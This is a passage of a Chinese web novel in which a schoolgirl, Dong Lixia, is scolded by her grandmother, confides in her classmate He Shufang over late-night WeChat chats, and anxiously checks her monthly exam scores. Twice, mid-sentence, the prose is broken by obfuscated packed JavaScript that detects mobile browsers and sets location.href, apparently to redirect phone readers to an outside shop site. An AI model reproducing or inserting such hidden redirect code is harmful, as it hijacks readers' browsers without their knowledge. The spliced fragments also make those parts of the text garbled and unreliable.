一家三口出门已是傍晚,路灯次第亮起,出租车在晚高峰的路上慢慢驶向江北。 刚出电梯,东篱夏就闻到了红烧三道鳞的香味。 “爸!妈!我们回来啦!”爷爷奶奶年纪大了,耳朵都有些背,即使一家三口已经进了门,老人们也毫无察觉,还是爸爸在玄关处大声朝着里屋招呼了一声。 厨房传来了关火的声音,爷爷立刻往门口迎,“哎!夏夏回来了!爷爷给你做大鱼吃,大鱼马上出锅!” 显而易见,爷爷满心满眼全是东篱夏这个大孙女,连亲儿子东耀景都被直接无视了。 奶奶也快步从里屋走出来,先上下打量了一番爸爸,嘱咐爸爸少喝点酒,才转向妈妈和东篱夏,“饿了吧?快,洗手吃饭!” 东篱夏心头一暖。 她来到自己的小屋,放下东西简单收拾了一下,一家人便围坐在了餐桌旁,桌上正中摆着三道鳞,旁边还有酱鸡爪子、酱鸡脖子以及土豆烧排骨。 爸爸和奶奶说着些北京工作和江城生活的琐事,爷爷一边听,一边不住地给她夹鱼肉,“夏夏一个多月没吃上大鱼了,快吃,快吃。” 吃到一半,爷爷忽然停下筷子问她,“夏夏,上高中也有些日子了,感觉怎么样?跟初中比,有没有啥有意思的新鲜事?” 她闻言心里一动。 运动会跑三千米这件事,她还没跟爷爷奶奶详细说过。从小奶奶就总批评她不重视体育锻炼,老拿自己年轻时候知青下乡说事,这回她跑下来三千米,也算是对奶奶证明自己了。 “有呀,前几天学校开运动会,我报名参加了女子三千米长跑。” 她顿了顿,观察着爷爷奶奶的反应。 爷爷明显有些惊讶,奶奶也停下了夹菜的动作。 “我跑完了全程,还得了全校第七名。” 她在等奶奶夸她厉害。 可是为什么期待中的画面没有出现。 奶奶脸上的笑容瞬间消失了,“啪”地一声把筷子摔在了碗沿上,声音陡然拔高,“你说啥?三千米?” “东篱夏,你知不知道你自己身体几斤几两?啊?那是女孩子能随便跑的吗?那么长的距离,万一跑坏了怎么办?田径上那么多人,磕了碰了摔了,谁负责?” 奶奶连珠炮骂了一串,又横眉冷对向徐瑞敏,“瑞敏,你也由着她胡闹?这么大事也不说管管?孩子不懂事,你这个当妈的也不懂事?这要是在跑道上出点啥事,你和耀景担不担心?我们老两口担不担心?” 东篱夏愣住了,完全没想到会被这样劈头盖脸一顿骂,胸口像被什么东西堵住了,闷闷地发疼。 “妈,您别急,”爸爸连忙打圆场,“夏夏心里有数,她平时也有锻炼,跑之前也做了准备。孩子想为班级做点事,锻炼一下自己,也是好事……” “好事?这算啥好事!”奶奶的声调并没有降低,显然并不接受这个解释,“行了,跑步的事先不说。那你学习呢?高中课程跟得上不?是不是比初中吃力了?” 东篱夏心里的委屈和逆反已经冒了头,但还是忍耐着如实回答,“是比初中难,感觉有点吃力。” 本是她鼓足勇气才肯在家人面前承认的脆弱,可这句话却给了奶奶一个完美的论据,奶奶脸上立刻露出一副“果然如此”的神情,“你看看,我说什么来着?” “女孩子上了高中,那脑子就是容易跟不上,没后劲!特别是理科!你初中那个同学,叫韩……韩什么来着?就总考第一那个小男孩,人家现在学得怎么样?是不是还是比你强?” 又是韩慎谦。 又是比较。 又是女孩子没后劲。 这些纠缠了她整个初中的梦魇像一根刺,早就深深埋入了她的血肉,她早就习惯了带着这根刺生长,甚至一度以为这根刺早就消失了,没想到仍旧会被奶奶毫不留情地再次按下,痛得她浑身一颤。 所有的忍耐在这一刻达到了极限,泪水猛地冲上眼眶,视野迅速模糊,她不想在饭桌上失态,可泪水根本不听使唤,眼看就要决堤。 她不想说话,一个字都不想再说。 奶奶看她这幅样子,非但没有缓和,反而更不高兴了,“看看你们的好女儿,说两句就受不了了?就开始流猫尿了?这么脆弱,以后出了社会怎么办?谁还能像家里这样顺着你?一点不好听的话都听不了!” “妈!” 这次是妈妈的声音。 “咱们先吃饭,不说这些了。”妈妈动作自然地给奶奶夹了一筷子鱼肉,语气依旧体面,却坚定地将话题岔了开来。 桌上的气氛尴尬了几秒,爷爷什么也没说,爸爸轻轻叹了口气。 东篱夏再也坐不住了,胡乱地往嘴里扒了几口饭就放下碗筷,声音沙哑地快速说了句“我吃饱了”,便起身逃也似的离开餐桌,冲进了自己从小住到大的房间。 她反手关上房门,跳到床上去,把脸深深埋进枕头里。 枕套散发着好闻的香,她知道这是奶奶知道她要回来,特意给她换上的。 奶奶是爱她的。 她给她买鱼,给她晒被子,记得她爱吃什么,怕她冷,怕她饿。 可为什么奶奶说出口的每一句话都让她鲜血淋漓? 为什么每一次她鼓起勇气分享一点小小的进步,换来的总是担忧、否定,以及随之而来无休止的比较? 她以为上了高中,搬到江南,和爷爷奶奶不天天见面,距离就会产生美,奶奶或许能对她多一些温情。 她甚至暗暗期待,这次回来起码能过两天安生日子,听几句纯粹的关心,而不是在回家的第一顿饭上,就遭受这样的审问。 还是她太天真了。 奶奶活了七十多年,根深蒂固的关心方式完全不可能因为距离改变,永远尖锐、永远直接,永远不留情面,生怕她有一丝一毫的骄傲自满,恨不得用最坏的可能性敲打她,让她永远保持清醒和努力。 可是奶奶,我真的很累了。 东篱夏在心里无声地呐喊。 我只是想听你说一句“跑完了就好”,或者“第七名不错”。我只是需要一点点肯定,一点点支撑,而不是永远活在“你不够好”、“你不如别人”、“你将来会掉队”的阴影里。 眼泪迅速浸湿了枕套。 她改变不了奶奶,也改变不了自己听到这些话时,那种深入骨髓的自我怀疑。 她是被爱包围的,却也是从来没有被真正理解过的。 她知道明天太阳升起,奶奶还是会给她做早饭,会问她睡得好不好。 爱还在,方式也不会变。 而她也只能像从前无数次那样,把今天的眼泪悄悄擦干,把心里的委屈默默吞咽,然后继续走下去。 床头柜上的手机屏幕突然亮了起来,东篱夏拿起来看了一眼,锁屏界面上微信消息预览赫然显示着: 学学化学:【图片】 学学化学:刚看到一个挺精妙的氧化还原,感觉可能会考,你配平一下系数试试?【龇牙】 东篱夏慌忙用手背胡乱抹了把脸上的泪,吸了吸鼻子解锁手机。 点开微信,屏幕上是他贺疏放发来的一个手写反应方程式照片,字迹依旧龙飞凤舞,旁边还有他随手画的电子转移示意。 若是平时,她大概会仔细看看,即便觉得难,也会努力想一想。此时此刻,她胸腔里堵着的郁气尚未消散,眼睛还红肿着,实在提不起丝毫钻研化学的兴致。 她在屏幕上停顿了几秒,最终只干巴巴地回复: “好,我一会儿看,现在有点事。” 发送出去,她自己都觉得这回复太冷淡。 本以为对话会就此结束,毕竟贺疏放也不像是周益荣那种会追着问“你有什么事”的神人。 她正打算放下手机重新沉浸回自己的难过里,屏幕却又很快亮起。 学学化学:怎么了?听起来不太高兴?【疑问】 他察觉到了? 一直强压着的委屈在此刻找到了一个安全的出口,突然决堤般涌了上来。 手指仿佛有了自己的意志,开始飞快地在屏幕上敲击,那些盘旋在心头多年、从未对同龄人甚至对父母诉诸于口的话语,一股脑地倾泻向屏幕另一端那个或许能懂自己的人。 她语无伦次地讲述了刚才饭桌上发生的一切,从分享三千米成绩的期待,到奶奶瞬间变脸的责备,再到提及学习吃力时,奶奶果然如此的表情和“女孩子没后劲”的论调,以及永远绕不开的与韩慎谦的比较。 她说起自己如何在奶奶日复一日的敲打下长大,说自己每一次小小的进步似乎都不值得被赞颂,必须立刻用更大的压力和更苛刻的比较来平衡,生怕她骄傲自满。 她说奶奶总让她时刻记得父母在北京的辛苦,如果她做的不够好,就对不起父母背井离乡的辛劳。 绿色的对话框一条接一条地挤满屏幕,长长短短,夹杂着零星几个哭泣的emoji。 她持续地发泄着,直到最后一条消息发出,看着满屏自己单方面输出的绿色对话条,才猛地清醒过来。 完了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987597|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她是不是说得太多了? 贺疏放会不会觉得她矫情、事多、充满负能量? 后知后觉的恐慌淹没了她,东篱夏盯着屏幕,开始后悔自己的冲动。 对面显示了一会儿“对方正在输入”,贺疏放的回复就一条一条跳了出来。 让她惊讶的是,他居然没有敷衍她,而是一条一条认认真真回的—— 学学化学:三千米第七名真的很厉害了好吗!换别人跑,估计半路就得趴下。你能坚持跑完,还能拿名次,说明你耐力、意志力都超强。这跟男女没关系,纯粹是你这个人厉害。 学学化学:而且我觉得你性格特别好,不是那种咋咋呼呼的,但特别有韧性,也善良,有责任心,愿意帮别人。真的,东篱夏,你本身就已经特别棒了。 贺疏放重点回复了那条关于“对不起父母”的沉重愧疚。 学学化学:至于你说的觉得不够优秀就对不起爸妈,我觉得吧,感恩父母辛苦是应该的,但拿这个来硬逼自己就没必要了。 学学化学:我爸妈也总说他们做生意怎么怎么不容易,为了我怎么怎么付出。但有时候我想,他们做生意难道只是为了我吗?肯定也有他们自己事业上的追求,想过更好的生活吧? 学学化学:父母爱孩子,我觉得是天生的,不是因为孩子必须多么优秀才配得到爱当然,孩子懂事、上进,父母肯定更高兴。要是觉得必须考清华北大爸妈才爱你,好像有点看轻了叔叔阿姨对你的爱。他们爱你,必然就是爱你这个人,不是因为你能考状元,或者必须一直考第一。 她怔怔地看着屏幕,反复咀嚼着这些话,心底那块郁结似乎松动了一些。 “谢谢你和我说这些,我感觉好点了。” 学学化学:客气啥【龇牙】 学学化学:对了,一直有点好奇,你微信名为什么叫“见南山”? 这个名字她用了好几年,鲜少有人问起,她也从未仔细向谁解释过。 见南山:因为我的名字呀,“采菊东篱下,悠然见南山”。东篱夏,见南山,不是很顺吗?【偷笑】 她先发了一个看似轻松俏皮的理由过去,但紧接着一种想要对他更坦诚的冲动,让她又补充了几行字。 夜色和屏幕似乎给了她额外的勇气,去触碰那些连自己都时常模糊的思绪。 见南山:不过其实也不完全是凑名字。我有时候真的会觉得,我好像一直没有自己的南山。 见南山:我考江附,是因为它是江城最好的高中,大家都说好,那我似乎就应该去。我可能会想考去北京的大学,是因为我爸妈在那里,他们希望我去。 见南山:但我自己呢?北京、上海,还是别的什么地方?学文科、理科,还是工科?我好像真的没什么特别的偏好。 见南山:我就像那种纸船,水流往哪儿推,风往哪儿吹,我就往哪儿漂,没有非去不可的港口,没有非要抵达的彼岸。 见南山:有时候看着别人,看你那么明确地喜欢化学,看霁月那么自在随心,想跑就跑,觉得没意思了就走开,我好像都挺羡慕的。 见南山:我不知道我的南山在哪里,也不知道它到底是珠穆朗玛峰还是小山坡,但我希望它存在。希望有一天,我能清晰地看到它,然后无论是悠然自得地走过去,还是破釜沉舟地爬上去,总归是心里有了个方向,是我自己想要去见一见的。 她慢慢地打着字,发送出去后,多少有些忐忑。 屏幕那端安静了一会儿,东篱夏几乎能想象出贺疏放看着手机,蹙眉思考的样子。 他的回复很快来了。 学学化学:我好像有点明白你的意思了。你一直做得很好,只是那种好是外部强加给你的,不是你自己觉得的,对吗? 见南山:嗯嗯。 学学化学:可能对有些人来说,那座山生来就在眼前,但对更多人来说,南山是需要自己去寻找的。 学学化学:而且你怎么知道你现在不是在通往南山的路上呢?只是雾气太大,路太绕,你还看不清山的全貌。 确实很有道理。 她刚要回复,他就接着说了下去。 学学化学:不过听你这么一说,我好像也更理解我自己了。我喜欢化学,化学就是我的南山。你刚才说得特别对,见南山未必是一个悠然的过程,可能是破釜沉舟拼了老命去见它。但重要的是,心里至少得相信有那么一座山存在吧。 两个人心里的距离忽然被拉近了一大截。 她们是两个同样在摸索前路的灵魂。 26. 晚安,见南山 接下来的几天,大约十一点左右,爷爷奶奶已经睡下,父母在客厅看电视时,东篱夏完成了洗漱,就会轻手轻脚缩进自己被窝,靠着床头在黑暗中点亮手机屏幕。 她很少主动去发第一条消息,只是将屏幕停留在跟烧杯先生的聊天界面,上上下下划着之前那些长长的对话记录。 她在等。 而贺疏放也总能在这个时间恰好地出现。 有时是她这边屏幕刚亮起不到五分钟,他的消息就先一步跳了出来;有时是她盯着屏幕看了十来分钟,正犹豫着要不要找个由头主动打破沉默,他的问候就恰到好处地抵达。 还有时,两人几乎在同一时刻各自在屏幕两端敲下了发送键,两条消息前后脚蹦出来,内容风马牛不相及,却默契地共同开启了一夜的对话。 借口五花八门,没有刻意的约定,没有焦急的追问,一切都发生得自然而然,水到渠成。 各自结束了白天的纷扰,置身于私人空间之后,他们的晚上十一点顺理成章地只属于彼此。 东篱夏说不清这种默契从何而来,又是如何建立的。 她只知道,每当她在这个时间点亮屏幕,他就很可能也在屏幕另一端,或许刚放下《无机化学》,或许正对着某道难题皱眉,或许也只是靠在床头看着屏幕。 她甚至开始享受起这种等待的过程,让七个平凡的夜晚有了崭新的盼头。 暧昧吗?好像是。 但又不仅仅是暧昧。 这一天,还是贺疏放主动来找她。 学学化学:江湖救急!付老师发的那个没答案的语文卷子你做了吗?我写不完了,借我抄抄呗,人美心善的小篱夏,求你了【可怜】 东篱夏有点脸红。 见南山:小说简答题还挺新的,你别光抄,好好看两眼。【图片】【图片】 每天都是这样,话题从一份卷子开始,不知不觉就滑向了更深处。 他们聊起小时候的趣事,分享各自初中的奇葩老师和同学,吐槽假期作业之多,感慨高中进度之快。 东篱夏对贺疏放倾诉,自己跟不上竞赛班进度,看着苗时雨、盛群瑛他们如鱼得水,心里难免焦虑。 贺疏放则对东篱夏吐槽,这几天被父母带着参加了好几个商业饭局,席间父母嘴上说着“让孩子见见世面”,私下却总忍不住拿他和何建安比较,说何建安更踏实也更聪明。 见南山:叔叔阿姨支持你学化学竞赛吗?你那么喜欢,他们应该很开明吧? 这次,轮到贺疏放那边停顿了一会儿。 就在东篱夏以为他不会回答时,他的回复来了。 学学化学:开明都是表面上的,其实他们挺反对的。 东篱夏:啊?真的假的?【惊讶】我看周阿姨和贺大大都挺好的啊? 她只当贺疏放是在用一种迂回的方式安慰她,故意把自己的处境说得艰难些,好让她的烦恼显得不那么特殊。 学学化学:好归好,焦虑也是真焦虑。初中他们就总为我偏科发愁,觉得我不踏实,现在更是。他俩觉得竞赛太虚无缥缈,江城这地方,多少年才出一个虞光风? 是啊,江城这地方,多少年才出一个虞光风? 她都能想象到周阿姨会对贺疏放说什么。 “竞赛路是天才走的,咱们普通孩子,踏踏实实走大路不好吗?” 学学化学:他们心里门儿清,我和那种天才差着十万八千里。他俩觉得我这是在不务正业的路上一条道走到黑,浪费时间,还不如老老实实把语文英语提上去,拼个稳妥的好大学。 父母看得清楚,他自己又何尝不清楚? 学学化学:不瞒你说,我压力其实挺大的。有时候看《无机化学》看到半夜,脑子一团浆糊,也会怀疑自己是不是真的在犯傻,但就是不想放弃。 她和他才是一样的。 她们从来都不是盛群瑛那种天赋异禀所以能举重若轻的学神,只能咬紧了牙关硬撑。 学学化学:可能我也挺倔的吧,唉。 东篱夏再一次确认了一点—— 他和她就是一样的。 她跑三千米时,明明肺要炸裂却不肯停下;面对奶奶那些往她心窝子里戳的话,心里就算委屈,也一直在暗自努力证明着自己。 他和她一样不服输,一样不肯轻易认命。 他的压力,他的怀疑,他的倔强,她都感同身受。 她忽然觉得,隔着屏幕穿过夜色,她看到的不再是一个似乎对什么都散散漫漫,游刃有余的少年,而是一个同样背负着期待,在热爱与现实间执着跋涉的同路人。 他们是平等的。 先前倾诉自己烦恼时那种单方面索取慰藉的不安消失了,她不再只是被安慰者,自己也成为了一个倾听者、理解者。 东篱夏沉默了好一会儿,才小心翼翼地敲下回复。 她不只是想安慰他,更想把自己那些在跑道上、在书桌前、在竞赛课上听得云里雾里却仍硬着头皮记下的笔记、在无数个被比较的瞬间里一点点厘清的信念传递给他。 见南山:我好像特别能明白那种感觉。就是明明知道前面可能很难,别人说的也有道理,但自己心里就是有个声音拧着不肯回头。 学学化学:你懂我【流泪】 她深吸一口气,继续写道: 见南山:贺疏放,你一点都不傻。 见南山:我觉得,人大概就是这样被分成不同种类的。像群瑛,像韩慎谦,像虞光风学长,他们的天赋区间可能从一开始就画在很高的地方,我们羡慕但学不来,也不必硬学。 见南山:而更多的人像我和你,我们的区间可能没那么高,起点也没那么耀眼,不代表我们的一辈子就注定不如他们。 见南山:竞赛或者任何一件难事,说到底不就是一个不断接近自己区间上限的过程吗?你的上限在哪里可能连你自己现在都不知道。但只要你还在往前拱,哪怕速度慢一点,姿势难看一点,看不懂的时候多一点,你就没有在原地踏步,你就在往自己的上限靠。 见南山:叔叔阿姨还有很多人担心的,是你选了那条区间平均值看起来更低的险路,怕你最终达不到社会公认的优秀线。可我觉得,真正的好,不是非要摸到别人家区间的天花板,而是能在自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995245|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区间里尽最大的努力,去够一个让自己不后悔的高度。 见南山:你知道我最佩服你什么吗?不是你现在化学考多少分,也不是你能看懂多难的反应机理,的是你在门儿清自己不是天才的情况下,还是义无反顾地奔向了自己的南山。 见南山:我们不需要成为虞光风,我们只需要成为“尽了力的贺疏放”和“尽了力的东篱夏”,在自己的区间里把能做的做到最好,问心无愧,我觉得这就够了。 她一口气打完了这些话。 这些想法在她心里盘旋已久,却从未如此清晰完整地向任何人表达过。 她不确定这些话是否能真正安慰到贺疏放,但一字一句也确实是她最真实的想法。 两个在各自战场上孤军奋战的小兵,就这么偶然在战壕里相遇,交换着干粮、清水,还有那些不足为外人道的恐惧和坚持。 东篱夏发送完那段长长的心声,迅速按灭了屏幕,把发烫的脸颊埋进柔软的枕头,心脏扑通扑通跳得异常清晰。 会不会太说教,太理想化了? 他会不会觉得她站着说话不腰疼,或者根本懒得看这么一大段? 正当她脑海里各种念头翻腾时,手机突然亮了起来。 她几乎是立刻解锁屏幕,一条简短的文字跳了出来: 学学化学:东篱夏。 连名带姓,带着一种罕见的郑重。 她的心蓦地一紧。 紧接着,下一条消息来了。 学学化学:你这些话我得好好想想。 他是真的在读,在消化,在将她的每一句话放进他自己的情境里反复掂量。 学学化学:我好像从来没这么想过,什么自己的区间,什么接近上限,我以前总觉得要么就像虞光风那样够到顶,要么就是失败。中间那些努力了但没到顶的状态,好像都有点丢人。 学学化学:但你这么一说,好像忽然就把我从非此即彼的死胡同里拽出来一点。就算我的山没有虞光风高,但山上的石头是我自己一块块搬的,路是我自己一脚脚踩出来的。 学学化学:问心无愧四个字,挺重的,但好像也挺对的。 学学化学:谢谢你,篱夏,真的。 像是为了冲淡过于严肃的气氛,也像是他本性里那点散漫又悄悄冒了头,贺疏放又加了一句: 学学化学:不过你这思想境界可以啊【龇牙】平时藏得够深的。下次再有人说你没想法,我第一个不答应。 看到熟悉的调侃和那个呲牙的表情,东篱夏的嘴角终于忍不住弯了起来。 学学化学:行了,不瞎琢磨了。明天继续啃我的《无机化学》,你也别瞎想,早点睡。 见南山:好。 学学化学:晚安,见南山。 晚安,见南山。 她也回复了一个简单的晚安,就放下手机。 在这个世界上,竟然有一个人,愿意在深夜听她说那些琐碎的烦恼和委屈,也愿意对她袒露自己的压力和挣扎。 他们互相懂得,彼此支撑,哪怕只是透过一方小小的屏幕。 她很难不觉得很幸福。 27. 孤军哀兵 和贺疏放的微信夜聊明显只是东篱夏十一长假中一个微不足道的插曲,这七天的主线对她来说很明确——完成作业、备战十月月考。 即将迎来的十月月考对她来说和摸底考试还不一样,摸底考试多少带了点初中知识,她尚能吃一吃老本。而这次月考,是在实打实地检验他们开学一个多月的学习成果了。 东篱夏格外紧张,毕竟这次考试直接关系到她未来应该如何在新环境里进行自我定位。更何况刚过去一个多月,还有不少人记得,她曾经是状元。 除了完成各科作业,东篱夏在十一假期期间把大量时间投向了数学和物理的复习。 数学刚开始学函数,对于什么周期性奇偶性,老师讲的例题她当下也能听懂,可一旦碰到稍微综合些的题目,思路就很容易卡壳;对于解法比较巧妙的不等式难题,她也有很多题都是在没头苍蝇一样乱试,形不成体系来。 物理受力分析更是让她雪上加霜。 她想不明白,难不成题里的小球是普罗米修斯转世,为什么非得用一个轻杆或者一条绳拴着不可,还要受一大堆外力共同作用,在这千锤万凿出深山? 普罗米修斯被拴在高加索山上是因为盗火了,她们这些高中生还得分析普罗米修斯受什么力,东篱夏很难不想,自己上辈子又是造了什么孽啊! 相比之下,生化还算友善一点。化学她有贺疏放这个金牌讲师一对一,生物目前的内容尚且以记忆和理解为主,不算太难应付。 除此之外,更要命的是史地政。 她们高考的时候,是江城第一届进入“3+1+2”的新高考模式,即数语外必选,物理历史任选其一,其他四科任选两科。 虽然二班绝大多数人都会心照不宣地选择物化生的纯理组合,但江附往往会在高一时候格外重视学生的九科排名,作为分科的参考。 对于清北班的尖子生来说,三年的综合排名格外关键,能够决定高二下暑假清华北大夏令营的分配名额以及高三强基计划的综合评价优秀认定,其中高一上学期分班前的成绩,是要算九科的。 所以,尽管内心清楚自己对史地政既没有天赋又没有兴趣,东篱夏也仍旧不敢怠慢这三尊大佛,强迫自己每天都要花时间背一点提纲。 七天一晃眼就过去,爸爸飞回了北京,妈妈带着她回到了江南的出租屋,与爷爷奶奶告别时,看着老人眼中毫不掩饰的不舍,东篱夏到底还是思绪万千。 她渴望逃离窒息的批评比较,可真正要转身离开的时候,看着门口爷爷奶奶佝偻的身影,她又觉得心被揪了一下。 想走又不忍心,留下来又必将继续面对痛苦,又是多少人面对原生家庭时候的常态。 十月七号晚上,东篱夏重新回到江南小,十点五十八手机准时亮屏。 学学化学:南山女神救我狗命!付观亭划的几首理解性默写古诗范围,你帮我押几句最可能考的呗?我真背不动了。【跪地】【跪地】【跪地】 东篱夏看着这条消息,先愣了一下,随即有些哭笑不得。 都这个时候了,他居然连语文最基础的背诵部分都没搞定? 见南山:你还没背?范围不是放假前就划了吗? 学学化学:必要的牺牲。【龇牙】我感觉古诗文默写这玩意儿,一共就六分,投入大量时间死记硬背,性价比太低了。有那功夫我多看几页《无机化学》不好吗? 东篱夏明显不认同,连续七天深夜的持续交流,两个人最初的客气和试探早就已经烟消云散,她可以放心大胆地在他面前自然地表达不同的看法。 见南山:我不这么觉得,这六分只要花了时间认真背了,考试就一定能拿到手。像数学最后的大题,就算努力了,考试时也可能因为各种原因拿不到全分。从这个角度讲,反而是理解性默写的六分性价比更高。 “对方正在输入”了不久,贺疏放的消息就回了过来,倒是乖乖听话。 学学化学:好吧,听你的。但明天就考试了,你忍心看我死到临头都见死不救吗?【可怜】【可怜】【可怜】 怎么对她来这一套啊! 东篱夏给他画完重点,对月考的焦虑再次涌上心头,手指在输入框上徘徊良久,最终还是删掉了已经打出的“我快紧张死了,物理一点把握都没有”,换成了简单的一句“你古诗抓紧背吧,别真一分不得,月考加油。” 她终究没有将压力倾倒给他。 毕竟谁不是在自己的战场里苦苦挣扎。 这几天断断续续的聊天里,贺疏放虽未明说,东篱夏也能明显感受到,这次月考对他而言不仅仅是高中第一次排名那么简单。如果语文英语成绩依旧惨不忍睹,贺大大和周阿姨大概率会强行干预,勒令他缩减花在化学竞赛上的时间和精力。 二人同桌一个月,她也清楚贺疏放究竟是怎么对待课内那些作业的,他对竞赛的投入已经可以说得上孤注一掷,语文英语就那么每天都在旁边失望地看着他。 这次月考,他只可能比自己更完蛋。 所以把自己这些焦虑说给他听,除了增加彼此的负担,又能怎么样呢?难道要让他放下自己的课题来安慰她吗? 她做不到。 就像跑三千米的时候一样,她始终认同自己从前书里读过的一句话—— “人生在世,临到每一个紧要关头,你都是孤军哀兵。” 是啊,孤军哀兵。 然而江大附中显然没打算给这群天之骄子任何喘息之机,即便早早做好了心理建设,真正答完月考卷时,东篱夏还是感觉到了前所未有的崩溃。 数物化生全部以中档难题为主,她考前也做了往年题练手,还没有哪次像今天这套数学卷子一样,单选后两道、多选最后一道、填空最后一道,她一道也做不出来;物理就更不用说,光看懂题干就得好一会儿,对受力分析理解的要求极高;就连她以为能凭借背诵多拿些分的史 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虽然各科成绩出齐后,班主任必然会将排名表打印出来张贴,但对于东篱夏这种提前一刻知道就能少一刻煎熬的人来说,早知道就是比晚知道要好。 第三天下午考完最后一科生物,江大附中还算人性,取消了当天的晚自习,她下午三四点钟就回了家。一打开手机,就看见“二班不一般”里面跳出了一条消息,是周益荣发的—— “家人们,物理成绩在app上能查到了,我问了老师,咱们班平均分83.7!” 怎么死到临头还专门有人来报丧啊! 他要不说,东篱夏还能权当不知道,但一旦知道之后,便再也克制不住自己去想。她心烦意乱,打开查询界面,上面赫然跳出一个83来。 完蛋了。 竟然连平均分都没到。 东篱夏颤抖着划了划app界面,试图了解一下成绩分布,把每个按键入口都点进去了一遍,得到的却只有一个又一个“解锁此功能请先开通超级大会员,299元/年”的弹窗。 真缺德啊。 可惜物理只是一个开始,江大附中老师的阅卷速度大为惊人,考完第二天,化学、生物、历史、地理的成绩就接踵而至。柳鸿也班上宣布,剩下的几科最晚明天放学前也能出来。 班里人心惶惶,好打听、消息又最灵通的周益荣这几天在二班比五角大楼还权威,每当有一科新成绩录入系统,他必定会第一时间回教室通知大家,派头堪比新闻发言人,被一群急着知道自己分数又不好意思自己去办公室问的同学团团围住。 “周老师,数学平均分多少?” “周老师,化学最高分是谁啊?” “周老师,快帮我看看我地理多少!” 甚至有人为了不用回家拿到手机就能提前知道自己的分数,来给周益荣送零食饮料换取情报,周益荣本人则显然也很享受这种众星捧月的感觉。 大发言人的亲同桌虞霁月对此往往嗤之以鼻。 28. 伤仲永 周四早上第一节下课,周益荣又呼哧带喘从办公室跑回来向大家宣布,数学成绩也出了,而且二班的数学考得似乎比一班还好,九科只剩下语文英语成绩没出来了。 大发言人回到座位,装模作样地喝了口水,座位一圈立刻就围满了好信的同学,期待着他再透露点成绩相关的信息。 东篱夏就坐在大发言人斜前桌,焦虑如她自然想知道更多,却也只能仰仗距离优势默默竖耳朵听着,却始终不敢明着转过身去主动问话。 她在意,又害怕别人知道自己这么在意。 出乎她意料的是,人声鼎沸中,带着睡意的怒音忽然传来,“能不能换个地方啊?看不见人在睡觉吗?” 东篱夏诧异地回头,是虞霁月。 她旋即明白过来,虞霁月经常熬夜看小说,上午第一二节课的课件一般都是她的补觉时间,被周益荣和身边人这么一吵,自然很难有什么好脸色。 周益荣的脸色也不太好,碍着面子给虞霁月道了个歉,虞霁月也没搭理他,反而直接拍了拍东篱夏的肩膀,拉着她的手就把她往屋外拽。 东篱夏一时间没反应过来,也只能跟着她往教室外走,避开了人群往侧边小楼梯走。虞霁月却没下楼,反而带着她往上走,两个人一前一后来到了四楼半通往五楼的转角。 这是她第一次来这,小楼梯再往上是一道大铁门,明显落了不少灰尘,大铁门后面看起来像是一个废弃的小阁楼,上面没有路,自然也很少会有人往这里来。 最重要的是,这里没有监控。 “这是做什么?”东篱夏惊魂未定,完全没缓过神来。 虞霁月没说话,警惕地向下张望了两眼,确认没人之后,一直缩在校服长袖里的另一只手忽然伸了出来,掌心赫然握着一部手机。 东篱夏吓了一大跳,“不是,你上学还敢带手机?” 手机无疑是江大附中的第一大红线,从入学前,学校就三令五申,如果发现学生带手机到学校,后面就是没收记大过请家长一条龙服务。 “这有啥的,我家又没人管我。”虞霁月却一脸无所谓,“还是那句话,他要找我家长,也得先能找得到人才算。” 说完,她又来揽东篱夏,“其实我天天都带着,藏得挺好吧?” 东篱夏实在拿这个胆大妄为的姑娘没办法。 虞霁月晃了晃手机,狡黠地笑笑,“我知道你这几天快被那破APP和周益荣那个大喇叭搞疯了,肯定想早点知道成绩,又不想去求那家伙,对吧?” 东篱夏一愣。 她没想到虞霁月能一语道破她的心思,不由有些窘迫,“我……” “信得过我的话,用我的手机登你的账号密码,自己查。”虞霁月把手机递过来,还不忘调笑她两句,“放心,我不是周益荣那种神人,对你的分数没兴趣,保证不看。” 东篱夏连忙道谢,输入自己的账号密码登录后,虞霁月忽然想起什么似地,把手机拿了回来,快速点了两下后还给她,“对了,那个什么超级大会员,我顺手给你充了一个包年的。虽然我实在觉得这玩意儿挺智商税的,但你要是真想提前看排名,就别纠结那点钱了,反正我也不差这点。” 对大小姐来说,给对方充一个299的超级大会员和请对方喝瓶水其实没什么太大区别。 大小姐只想要自己的好朋友开心。 东篱夏实在感动,但她也知道虞霁月不是矫情性子,重新接过手机,半开玩笑半认真地问,“我这算不算也沾上大小姐的光了?” 虞霁月白了她一眼:“少来这一套,赶紧查,马上上课了。” 玩笑归玩笑,东篱夏心里却沉甸甸的,就算虞霁月家境优渥,钱也不是大风刮来的,这份人情,她之后必然会找机会还回去的。 她没工夫多想,立刻点进这次考试的界面,瞬间感受到了金钱的力量。 开通了大会员的界面果然不同,各科成绩、班级排名、年级排名、甚至每道题的学年平均分以及标准答案都一览无余。 东篱夏没工夫看那么细,深吸一口气强迫自己冷静下来,目光迅速扫过那些已经出来的数字—— 物理83,化学94,生物91,历史86,地理85,政治87。 史地政三科不好不坏,她确实努力背了,于这三科也实在天赋平平。生物91,也只能称得上还行。倒是大家都觉得难的化学,她从平均分之下进步到了单科班级第三。 这大概是连日来唯一能让她感到一丝慰藉的数字了,努力还算没有白费。 可是数学112。 即使是早就做了心理建设,她还是很难接受自己能考出这样难看的成绩。 她在初中120分满分的时候,都很少会考得低于117分,如今高中150分满分了,反倒只能考112了? 